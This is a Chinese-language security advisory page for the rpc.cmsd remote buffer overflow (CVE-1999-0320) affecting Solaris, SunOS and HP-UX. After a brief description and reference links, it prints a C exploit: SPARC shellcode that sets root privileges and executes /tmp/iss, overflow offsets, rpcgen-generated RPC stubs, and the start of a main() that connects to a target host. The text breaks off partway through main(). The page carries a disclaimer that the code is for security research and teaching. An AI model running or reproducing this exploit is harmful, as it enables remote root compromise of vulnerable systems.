安全研究

安全漏洞
多家厂商rpc.cmsd远程缓冲区溢出漏洞

发布日期:1999-07-13
更新日期:1999-07-13

受影响系统:
Sun Solaris rpc.cmsd
    - HP HP-UX 11.0
    - HP HP-UX 10.30
    - HP HP-UX 10.20
    - Sun Solaris 7.0
    - Sun Solaris 2.6
    - Sun Solaris 2.5.1
    - Sun Solaris 2.5
    - Sun Solaris 2.4
    - Sun Solaris 2.3
    - Sun SunOS 4.1.4
    - Sun SunOS 4.1.3_U1
    - Sun SunOS 4.1.3c
    - Sun SunOS 4.1.3
描述:
BUGTRAQ  ID: 524
CVE(CAN) ID: CVE-1999-0320

rpc.cmsd(Calendar Manager Service daemon) RPC守护进程是一个用来安排日程的数据库管理器,是CDE桌面环境(Common Desktop Environment)的一个组件,在Solaris等一些Unix系统上是默认运行的。

rpc.cmsd在实现上存在一个缓冲区溢出漏洞远程,远程或本地攻击者可以利用此漏洞以root用户的权限执行任意指令。

<*链接:http://www.iss.net/security_center/static/2345.php
        ftp://stage.caldera.com/pub/security/openunix/CSSA-2002-SCO.12
        http://www.attrition.org/security/advisory/hpalert/hpux.00102
        http://www.cert.org/advisories/CA-1999-08.html
        http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/188&type=0&nav=sec.sba
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
*
* cmsd warez
*
* executes /tmp/iss
*
* gcc -o c c.c -lrpcsvc -lnsl -lsocket
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <arpa/inet.h>

char c0de[]=
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
"\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
"\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
"\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
"\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
"\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
"\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
"\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
"\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
"\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
"\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
"\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
"\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
"\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
"\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
"\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
"\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
"\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
"\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
"\x91\xd0\x20\x08"; /* ta 8 - exit(0) */

#define X_OFFSET  5500
#define RW_OFFSET 800
#define NOPS      700
#define ALIGN     (2000+sizeof(unsigned long)*7)
#define REG_W_SIZ 64
#define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
#define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))

char cname[] = "root@ISS";

/* ----- rpcgen ----- */

/*
* Please do not edit this file.
* It was generated using rpcgen.
*/

#ifndef _RTABLE4_H_RPCGEN
#define    _RTABLE4_H_RPCGEN

#include <rpc/rpc.h>

typedef char *Buffer;

enum Transaction {
        add = 0,
        cm_remove = 1
};
typedef enum Transaction Transaction;

enum Interval {
        single = 0,
        daily = 1,
        weekly = 2,
        biweekly = 3,
        monthly = 4,
        yearly = 5,
        nthWeekday = 6,
        everyNthDay = 7,
        everyNthWeek = 8,
        everyNthMonth = 9,
        otherPeriod = 10,
        monThruFri = 11,
        monWedFri = 12,
        tueThur = 13,
        daysOfWeek = 14
};
typedef enum Interval Interval;

struct Period {
        Interval period;
        int nth;
        long enddate;
};
typedef struct Period Period;

enum Event_Type {
        appointment = 0,
        reminder = 1,
        otherTag = 2,
        holiday = 3,
        toDo = 4
};
typedef enum Event_Type Event_Type;

enum Options {
        do_all = 0,
        do_one = 1,
        do_forward = 2
};
typedef enum Options Options;

struct Tag {
        Event_Type tag;
        int showtime;
        struct Tag *next;
};
typedef struct Tag Tag;

enum Privacy_Level {
        public = 0,
        private = 1,
        semiprivate = 2
};
typedef enum Privacy_Level Privacy_Level;

struct Attribute {
        struct Attribute *next;
        Buffer attr;
        Buffer value;
        Buffer clientdata;
};
typedef struct Attribute Attribute;

typedef Attribute *Attr;

struct Except {
        int ordinal;
        struct Except *next;
};
typedef struct Except Except;

typedef Except *Exception;

struct Id {
        long tick;
        long key;
};
typedef struct Id Id;

struct Uid {
        struct Id appt_id;
        struct Uid *next;
};
typedef struct Uid Uid;

enum Appt_Status {
        active = 0,
        pendingAdd = 1,
        pendingDelete = 2,
        committed = 3,
        cancelled = 4,
        completed = 5
};
typedef enum Appt_Status Appt_Status;

struct Appt {
        struct Id appt_id;
        struct Tag *tag;
        int duration;
        int ntimes;
        Buffer what;
        struct Period period;
        Buffer author;
        Buffer client_data;
        struct Except *exception;
        struct Attribute *attr;
        Appt_Status appt_status;
        Privacy_Level privacy;
        struct Appt *next;
};
typedef struct Appt Appt;

struct Abb_Appt {
        struct Id appt_id;
        struct Tag *tag;
        Buffer what;
        int duration;
        struct Period period;
        struct Abb_Appt *next;
        Appt_Status appt_status;
        Privacy_Level privacy;
};
typedef struct Abb_Appt Abb_Appt;

struct Apptid {
        struct Id *oid;
        struct Appt *new_appt;
        Options option;
};
typedef struct Apptid Apptid;

struct Reminder {
        struct Id appt_id;
        long tick;
        Attribute attr;
        struct Reminder *next;
};
typedef struct Reminder Reminder;

enum Table_Res_Type {
        AP = 0,
        RM = 1,
        AB = 2,
        ID = 3
};
typedef enum Table_Res_Type Table_Res_Type;

struct Table_Res_List {
        Table_Res_Type tag;
        union {
            Appt *a;
            Reminder *r;
            Abb_Appt *b;
            Uid *i;
        } Table_Res_List_u;
};
typedef struct Table_Res_List Table_Res_List;

enum Access_Status {
        access_ok = 0,
        access_added = 1,
        access_removed = 2,
        access_failed = 3,
        access_exists = 4,
        access_partial = 5,
        access_other = 6,
        access_notable = 7,
        access_notsupported = 8,
        access_incomplete = 9
};
typedef enum Access_Status Access_Status;

struct Table_Res {
        Access_Status status;
        Table_Res_List res;
};
typedef struct Table_Res Table_Res;
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"    /* special user */

struct Access_Entry {
        Buffer who;
        int access_type;
        struct Access_Entry *next;
};
typedef struct Access_Entry Access_Entry;

struct Access_Args {
        Buffer target;
        Access_Entry *access_list;
};
typedef struct Access_Args Access_Args;

struct Range {
        long key1;
        long key2;
        struct Range *next;
};
typedef struct Range Range;

struct Keyrange {
        long key;
        long tick1;
        long tick2;
        struct Keyrange *next;
};
typedef struct Keyrange Keyrange;

struct Uidopt {
        struct Id appt_id;
        Options option;
        struct Uidopt *next;
};
typedef struct Uidopt Uidopt;

enum Table_Args_Type {
        TICK_4 = 0,
        APPTID = 1,
        UID = 2,
        APPT = 3,
        RANGE = 4,
        KEYRANGE = 5,
        UIDOPT = 6
};
typedef enum Table_Args_Type Table_Args_Type;

struct Args {
        Table_Args_Type tag;
        union {
            long tick;
            Apptid apptid;
            Uid *key;
            Appt *appt;
            Range *range;
            Keyrange *keyrange;
            Uidopt *uidopt;
        } Args_u;
};
typedef struct Args Args;

struct Table_Args {
        Buffer target;
        Args args;
        int pid;
};
typedef struct Table_Args Table_Args;

struct Registration {
        Buffer target;
        u_long prognum;
        u_long versnum;
        u_long procnum;
        struct Registration *next;
        int pid;
};
typedef struct Registration Registration;

struct Table_Op_Args {
        Buffer target;
        Buffer new_target;
};
typedef struct Table_Op_Args Table_Op_Args;

enum Table_Status {
        ok = 0,
        duplicate = 1,
        badtable = 2,
        notable = 3,
        denied = 4,
        other = 5,
        tbl_not_owner = 6,
        tbl_exist = 7,
        tbl_notsupported = 8
};
typedef enum Table_Status Table_Status;

enum Registration_Status {
        registered = 0,
        failed = 1,
        deregistered = 2,
        confused = 3,
        reg_notable = 4
};
typedef enum Registration_Status Registration_Status;

/*
* rtable_delete and rtable_change take over the functionality of
* rtable_delete_instance and rtable_change_instance repectively.
* rtable_delete_instance and rtable_change_instance are now dummy
* routines exist for backward compatibility purpose and return
* access_notsupported.
*/

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

#define    TABLEPROG ((unsigned long)(100068))
#define    TABLEVERS ((unsigned long)(4))
#define    rtable_ping ((unsigned long)(0))
extern  void * rtable_ping_4();
#define    rtable_lookup ((unsigned long)(1))
extern  Table_Res * rtable_lookup_4();
#define    rtable_lookup_next_larger ((unsigned long)(2))
extern  Table_Res * rtable_lookup_next_larger_4();
#define    rtable_lookup_next_smaller ((unsigned long)(3))
extern  Table_Res * rtable_lookup_next_smaller_4();
#define    rtable_lookup_range ((unsigned long)(4))
extern  Table_Res * rtable_lookup_range_4();
#define    rtable_abbreviated_lookup_range ((unsigned long)(5))
extern  Table_Res * rtable_abbreviated_lookup_range_4();
#define    rtable_insert ((unsigned long)(6))
extern  Table_Res * rtable_insert_4();
#define    rtable_delete ((unsigned long)(7))
extern  Table_Res * rtable_delete_4();
#define    rtable_delete_instance ((unsigned long)(8))
extern  Table_Res * rtable_delete_instance_4();
#define    rtable_change ((unsigned long)(9))
extern  Table_Res * rtable_change_4();
#define    rtable_change_instance ((unsigned long)(10))
extern  Table_Res * rtable_change_instance_4();
#define    rtable_lookup_next_reminder ((unsigned long)(11))
extern  Table_Res * rtable_lookup_next_reminder_4();
#define    rtable_check ((unsigned long)(12))
extern  Table_Status * rtable_check_4();
#define    rtable_flush_table ((unsigned long)(13))
extern  Table_Status * rtable_flush_table_4();
#define    rtable_size ((unsigned long)(14))
extern  int * rtable_size_4();
#define    register_callback ((unsigned long)(15))
extern  Registration_Status * register_callback_4();
#define    deregister_callback ((unsigned long)(16))
extern  Registration_Status * deregister_callback_4();
#define    rtable_set_access ((unsigned long)(17))
extern  Access_Status * rtable_set_access_4();
#define    rtable_get_access ((unsigned long)(18))
extern  Access_Args * rtable_get_access_4();
#define    rtable_abbreviated_lookup_key_range ((unsigned long)(19))
extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
#define    rtable_gmtoff ((unsigned long)(20))
extern  long * rtable_gmtoff_4();
#define    rtable_create ((unsigned long)(21))
extern  Table_Status * rtable_create_4();
#define    rtable_remove ((unsigned long)(22))
extern  Table_Status * rtable_remove_4();
#define    rtable_rename ((unsigned long)(23))
extern  Table_Status * rtable_rename_4();
extern int tableprog_4_freeresult();

/* the xdr functions */
extern bool_t xdr_Buffer();
extern bool_t xdr_Transaction();
extern bool_t xdr_Interval();
extern bool_t xdr_Period();
extern bool_t xdr_Event_Type();
extern bool_t xdr_Options();
extern bool_t xdr_Tag();
extern bool_t xdr_Privacy_Level();
extern bool_t xdr_Attribute();
extern bool_t xdr_Attr();
extern bool_t xdr_Except();
extern bool_t xdr_Exception();
extern bool_t xdr_Id();
extern bool_t xdr_Uid();
extern bool_t xdr_Appt_Status();
extern bool_t xdr_Appt();
extern bool_t xdr_Abb_Appt();
extern bool_t xdr_Apptid();
extern bool_t xdr_Reminder();
extern bool_t xdr_Table_Res_Type();
extern bool_t xdr_Table_Res_List();
extern bool_t xdr_Access_Status();
extern bool_t xdr_Table_Res();
extern bool_t xdr_Access_Entry();
extern bool_t xdr_Access_Args();
extern bool_t xdr_Range();
extern bool_t xdr_Keyrange();
extern bool_t xdr_Uidopt();
extern bool_t xdr_Table_Args_Type();
extern bool_t xdr_Args();
extern bool_t xdr_Table_Args();
extern bool_t xdr_Registration();
extern bool_t xdr_Table_Op_Args();
extern bool_t xdr_Table_Status();
extern bool_t xdr_Registration_Status();

#endif /* !_RTABLE4_H_RPCGEN */

/*
* Please do not edit this file.
* It was generated using rpcgen.
*/

bool_t
xdr_Buffer(xdrs, objp)
        register XDR *xdrs;
        Buffer *objp;
{

        register long *buf;

        if (!xdr_string(xdrs, objp, ~0))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Transaction(xdrs, objp)
        register XDR *xdrs;
        Transaction *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Interval(xdrs, objp)
        register XDR *xdrs;
        Interval *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Period(xdrs, objp)
        register XDR *xdrs;
        Period *objp;
{

        register long *buf;

        if (!xdr_Interval(xdrs, &objp->period))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->nth))
            return (FALSE);
        if (!xdr_long(xdrs, &objp->enddate))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Event_Type(xdrs, objp)
        register XDR *xdrs;
        Event_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Options(xdrs, objp)
        register XDR *xdrs;
        Options *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Tag(xdrs, objp)
        register XDR *xdrs;
        Tag *objp;
{

        register long *buf;

        if (!xdr_Event_Type(xdrs, &objp->tag))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->showtime))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Privacy_Level(xdrs, objp)
        register XDR *xdrs;
        Privacy_Level *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Attribute(xdrs, objp)
        register XDR *xdrs;
        Attribute *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->attr))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->value))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->clientdata))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Attr(xdrs, objp)
        register XDR *xdrs;
        Attr *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Except(xdrs, objp)
        register XDR *xdrs;
        Except *objp;
{

        register long *buf;

        if (!xdr_int(xdrs, &objp->ordinal))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Exception(xdrs, objp)
        register XDR *xdrs;
        Exception *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Id(xdrs, objp)
        register XDR *xdrs;
        Id *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->tick))
            return (FALSE);
        if (!xdr_long(xdrs, &objp->key))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Uid(xdrs, objp)
        register XDR *xdrs;
        Uid *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Appt_Status(xdrs, objp)
        register XDR *xdrs;
        Appt_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Appt(xdrs, objp)
        register XDR *xdrs;
        Appt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->duration))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->ntimes))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->what))
            return (FALSE);
        if (!xdr_Period(xdrs, &objp->period))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->author))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->client_data))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
            return (FALSE);
        if (!xdr_Appt_Status(xdrs, &objp->appt_status))
            return (FALSE);
        if (!xdr_Privacy_Level(xdrs, &objp->privacy))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Abb_Appt(xdrs, objp)
        register XDR *xdrs;
        Abb_Appt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->what))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->duration))
            return (FALSE);
        if (!xdr_Period(xdrs, &objp->period))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
            return (FALSE);
        if (!xdr_Appt_Status(xdrs, &objp->appt_status))
            return (FALSE);
        if (!xdr_Privacy_Level(xdrs, &objp->privacy))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Apptid(xdrs, objp)
        register XDR *xdrs;
        Apptid *objp;
{

        register long *buf;

        if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
            return (FALSE);
        if (!xdr_Options(xdrs, &objp->option))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Reminder(xdrs, objp)
        register XDR *xdrs;
        Reminder *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
            return (FALSE);
        if (!xdr_long(xdrs, &objp->tick))
            return (FALSE);
        if (!xdr_Attribute(xdrs, &objp->attr))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res_Type(xdrs, objp)
        register XDR *xdrs;
        Table_Res_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res_List(xdrs, objp)
        register XDR *xdrs;
        Table_Res_List *objp;
{

        register long *buf;

        if (!xdr_Table_Res_Type(xdrs, &objp->tag))
            return (FALSE);
        switch (objp->tag) {
        case AP:
            if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
                return (FALSE);
            break;
        case RM:
            if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
                return (FALSE);
            break;
        case AB:
            if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
                return (FALSE);
            break;
        case ID:
            if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
                return (FALSE);
            break;
        }
        return (TRUE);
}

bool_t
xdr_Access_Status(xdrs, objp)
        register XDR *xdrs;
        Access_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Res(xdrs, objp)
        register XDR *xdrs;
        Table_Res *objp;
{

        register long *buf;

        if (!xdr_Access_Status(xdrs, &objp->status))
            return (FALSE);
        if (!xdr_Table_Res_List(xdrs, &objp->res))
            return (FALSE);
        return (TRUE);
}
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"    /* special user */

bool_t
xdr_Access_Entry(xdrs, objp)
        register XDR *xdrs;
        Access_Entry *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->who))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->access_type))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Access_Args(xdrs, objp)
        register XDR *xdrs;
        Access_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Range(xdrs, objp)
        register XDR *xdrs;
        Range *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->key1))
            return (FALSE);
        if (!xdr_long(xdrs, &objp->key2))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Keyrange(xdrs, objp)
        register XDR *xdrs;
        Keyrange *objp;
{

        register long *buf;

        if (!xdr_long(xdrs, &objp->key))
            return (FALSE);
        if (!xdr_long(xdrs, &objp->tick1))
            return (FALSE);
        if (!xdr_long(xdrs, &objp->tick2))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Uidopt(xdrs, objp)
        register XDR *xdrs;
        Uidopt *objp;
{

        register long *buf;

        if (!xdr_Id(xdrs, &objp->appt_id))
            return (FALSE);
        if (!xdr_Options(xdrs, &objp->option))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Args_Type(xdrs, objp)
        register XDR *xdrs;
        Table_Args_Type *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Args(xdrs, objp)
        register XDR *xdrs;
        Args *objp;
{

        register long *buf;

        if (!xdr_Table_Args_Type(xdrs, &objp->tag))
            return (FALSE);
        switch (objp->tag) {
        case TICK_4:
            if (!xdr_long(xdrs, &objp->Args_u.tick))
                return (FALSE);
            break;
        case APPTID:
            if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
                return (FALSE);
            break;
        case UID:
            if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
                return (FALSE);
            break;
        case APPT:
            if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
                return (FALSE);
            break;
        case RANGE:
            if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
                return (FALSE);
            break;
        case KEYRANGE:
            if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
                return (FALSE);
            break;
        case UIDOPT:
            if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
                return (FALSE);
            break;
        default:
            return (FALSE);
        }
        return (TRUE);
}

bool_t
xdr_Table_Args(xdrs, objp)
        register XDR *xdrs;
        Table_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
            return (FALSE);
        if (!xdr_Args(xdrs, &objp->args))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->pid))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Registration(xdrs, objp)
        register XDR *xdrs;
        Registration *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
            return (FALSE);
        if (!xdr_u_long(xdrs, &objp->prognum))
            return (FALSE);
        if (!xdr_u_long(xdrs, &objp->versnum))
            return (FALSE);
        if (!xdr_u_long(xdrs, &objp->procnum))
            return (FALSE);
        if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
            return (FALSE);
        if (!xdr_int(xdrs, &objp->pid))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Op_Args(xdrs, objp)
        register XDR *xdrs;
        Table_Op_Args *objp;
{

        register long *buf;

        if (!xdr_Buffer(xdrs, &objp->target))
            return (FALSE);
        if (!xdr_Buffer(xdrs, &objp->new_target))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Table_Status(xdrs, objp)
        register XDR *xdrs;
        Table_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

bool_t
xdr_Registration_Status(xdrs, objp)
        register XDR *xdrs;
        Registration_Status *objp;
{

        register long *buf;

        if (!xdr_enum(xdrs, (enum_t *)objp))
            return (FALSE);
        return (TRUE);
}

/*
* rtable_delete and rtable_change take over the functionality of
* rtable_delete_instance and rtable_change_instance repectively.
* rtable_delete_instance and rtable_change_instance are now dummy
* routines exist for backward compatibility purpose and return
* access_notsupported.
*/

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

/* ----- rpcgen ----- */

unsigned long resolve(char *host)
{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))==(-1))
    if(!(he=gethostbyname(host)))
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int main(int argc, char *argv[])
{
  char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
  struct sockaddr_in sin;
  struct timeval tv;
  Table_Op_Args toa;
  Table_Status ts;
  Table_Args ta;
  Table_Res tr;
  Appt ap;
  int sock;
  unsigned long *ptr;
  CLIENT *c;

  if(argc!=2)
    {
      (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
      exit(-1);
    }

  (void)memset(&sin,0,sizeof(sin));
  sin.sin_family = AF_INET;

  if(!(sin.sin_addr.s_addr=resolve(argv[1])))
    {
      (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  (void)memset(&tv,0,sizeof(tv));
  tv.tv_sec = 7;

  sock = RPC_ANYSOCK;
  if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
    {
      (void)clnt_pcreateerror(argv[0]);
      exit(1);
    }
  c->cl_auth = authunix_create(argv[1],0,0,0,0);

  (void)memset(&toa,0,sizeof(toa));
  toa.target = cname;

  (void)memset(&ts,0,sizeof(ts));

  if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
               xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
    {
      (void)clnt_perror(c,"error: rtable_create");
